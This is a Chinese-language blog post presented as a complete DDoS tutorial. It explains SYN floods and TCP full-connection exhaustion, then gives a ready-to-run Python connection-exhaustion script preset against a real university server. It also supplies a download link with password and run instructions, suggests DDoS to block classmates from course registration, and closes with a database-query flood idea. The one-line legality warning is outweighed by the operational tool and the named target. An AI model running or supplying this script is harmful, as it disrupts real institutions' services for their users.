DDoS攻擊包教包會(原理和實現)

受限于作者水平,請多多包含本文中可能會出現的漏洞和錯誤
一、什么是DDoS攻擊
DDoS(DDoS:Distributed Denial of Service)分布式拒絕服務攻擊,就是讓多臺計算機聯(lián)合起來對目標發(fā)動拒絕服務攻擊。
那么什么又是拒絕服務攻擊(DoS)呢?拒絕服務攻擊即是攻擊者想辦法讓目標機器停止提供服務的攻擊。比如說把對方網頁服務搞癱瘓,讓對方網站訪問不了。
所以DDos攻擊,是采用分布式,并以讓別人訪問不了目標服務器為目的的攻擊。可被應用于發(fā)泄不滿,惡意的競爭等等。
比如學校讓搶課啦,而自己又沒時間去搶,完全可以開個DDoS,讓大家都搶不了課。等自己忙完了,再關掉DDoS。愉快的去搶課。也是一個應用嘛。
注意,這種做法是不合法的。
二、如何DDoS攻擊/DDoS攻擊的思路
最簡單的方式
控制很多臺機器不斷訪問目標站點,或者不斷發(fā)送請求,如果訪問的流量足夠大,把目標站點拖垮了,那么它就拒絕服務了。
顯然這種方法不經濟不實惠,消耗對方多少帶寬,自己就需要多少帶寬。這種方法是可行但是太傻以至于通常不會這樣做。我們需要的是消耗自己一點資源,就能消耗對方大量資源的方法。
最經典的方法——SYN Flood攻擊
訪問一個網站,我們用的是TCP協(xié)議。TCP協(xié)議中規(guī)定,兩臺電腦要開始通訊,需要先建立一個連接。連接建立的具體過程是這樣的。
1)電腦A想連接電腦B,A向B發(fā)送一個SYN信息,即同步信息。B電腦收到后回復一個確認信息ACK。
TCP中每一個數據包都有一個序號,這樣接收的時候就知道發(fā)出來的先后順序(因為先發(fā)的不一定先到)和有沒有數據包漏掉(因為網絡原因,有幾個包在傳輸的途中丟了也是很正常的)。SYN包的作用是同步序號,即告訴對方我的下一個包的序號應該是多少。
2)然后同樣的。B向A發(fā)送一個SYN包,A收到后回復一個ACK包,連接建立完成。
概括一下,就是A發(fā)SYN,B發(fā)ACK+SYN,A發(fā)ACK,連接建立完成。這個過程一般稱為“三次握手”。
而SYN Flood攻擊就是A發(fā)SYN包,B發(fā)ACK+SYN,此時A不發(fā)ACK而是再發(fā)一個SYN,然后不停的發(fā)SYN。這會產生大量建立了一半的連接,稱為半開連接。
收到一個SYN,就會產生一個半開連接,正常情況下很快又會收到一個ACK,從而建立一個完整的連接。極少時候,一直收不到ACK,超時之后關閉這個半開連接。如果短時間內收到大量SYN而收不到ACK,就會建立很多半開連接,半開連接數如果超過上限,服務器就不會再接受SYN請求了,導致正常用戶連不上來。
SYN攻擊簡單有效。因此大家都喜歡用它。所以服務器對這方面的防御往往會完善一點。同時也有很多現成的軟件可以用來防御SYN。同時,要在規(guī)定時間內讓半開連接數耗盡對網絡的帶寬還是有一定要求的。
我覺得還不錯的方法,TCP全連接攻擊。懟學校服務器效果拔群
如果建立半連接無效,我們就只能建立全連接了。TCP全連接攻擊的思路是不斷建立正常的連接。維持每個連接不讓其釋放。當連接數積累到很大的時候,服務器就崩了。
往往我們不斷制造一些垃圾數據通過連接傳輸。垃圾數據不需要很大的量,它的目的只是為了避免因為連接長時間沒有數據流而被服務器釋放。
全連接攻擊的優(yōu)點在于通常不會像半連接一樣因為超時而被釋放掉。我們可以慢慢建立連接,不用著急。不需要多大帶寬。
而服務器方面。需要對每一個連接分配一個線程甚至進程。分配線程的開銷是很大的。在投入資源和浪費服務器資源方面,可以說還是很高效了。
個人認為,這種方法是很好防御的。比如可以檢查請求頭里面的cookie,看他是不是注冊了,登陸了。如果cookie驗證不過。就不準它長時間的傳輸數據。不過因為很多網站開發(fā)的構架本身不帶有這個功能(似乎?),所以一些劣質網站自然也不會帶有這種功能吧。
附python代碼:
復制過來也不知道縮進對不對,看看就行。要用的可以去我百度網盤下載。
使用方法:下載安裝python最新版本。下載源碼,雙擊運行。
記得將源碼中的網址改為自己想要用來測試的網址。
源碼:鏈接:https://pan.baidu.com/s/169sIz5md7BGL9LCw8gdDOQ 密碼:ak15
python官網:https://www.python.org/
原理是發(fā)大量post請求,維持連接并發(fā)送少量垃圾數據。
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=30000
#改寫下面的網址為你想攻擊的網站?。。。。。。。?!
PORT=80
HOST="www.sspu.edu.cn"
PAGE="/recitewords/api"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
while len(socks)<MAX_CONN:
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode('utf-8'))
#print ("[+] Send buf OK!,conn=%d\n"%len(socks))
socks.append(s)
except Exception as ex:
print ("[-] Could not connect to server or send error:%s"%ex)
time.sleep(2)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode('utf-8'))
#print ("[+] send OK! %s"%s)
except Exception as ex:
print ("[-] send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
while(True):
print("存活連接數:%d "%len(socks))
time.sleep(1)
4.針對數據庫來消耗資源
此方法更簡單。大量發(fā)送get請求,請求網站需要查詢數據庫才能生成的網頁即可。簡單而有效。
關注,收藏,投硬幣?。。?!